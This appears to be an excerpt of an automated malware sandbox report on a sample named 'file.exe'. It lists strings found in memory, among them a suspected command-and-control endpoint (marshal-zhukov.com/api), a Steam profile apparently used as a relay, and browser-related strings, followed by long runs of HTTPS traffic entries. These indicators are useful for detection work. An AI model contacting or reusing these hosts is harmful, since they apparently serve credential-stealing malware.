Source: file.exe, 00000000.00000003.2160525158.000000000133B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390678447.000000000129C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779908324.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779758245.00000000012CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304352500.00000000012B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2067860031.000000000131E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1968740464.000000000131F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: file.exe, 00000000.00000003.1779809163.00000000012A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api&
Source: file.exe, 00000000.00000003.2144437116.0000000005A44000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2215613568.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiF
Source: file.exe, 00000000.00000003.2215613568.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiK
Source: file.exe, 00000000.00000003.2215613568.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiO
Source: file.exe, 00000000.00000003.1968740464.000000000131F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiS3F
Source: file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiq
Source: file.exe, 00000000.00000003.2160525158.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiq3
Source: file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apite
Source: file.exe, 00000000.00000003.1779908324.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/jX
Source: file.exe, 00000000.00000003.1861174374.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/r:
Source: file.exe, 00000000.00000002.2390678447.000000000129C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2304431578.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/s
Source: file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiyq
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_100.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000002.2390678447.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/(S
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.2390678447.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1779758245.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000002.2390678447.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900PS
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.2304431578.0000000001294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1779857742.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.1810901971.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1810901971.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811080336.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861240317.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861110116.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1811080336.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1810901971.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811080336.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861240317.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1861110116.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1811080336.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_100.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2067763117.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2068027743.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1810648822.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810483540.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_87.6.dr, chromecache_100.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1970240498.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000003.1779738856.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
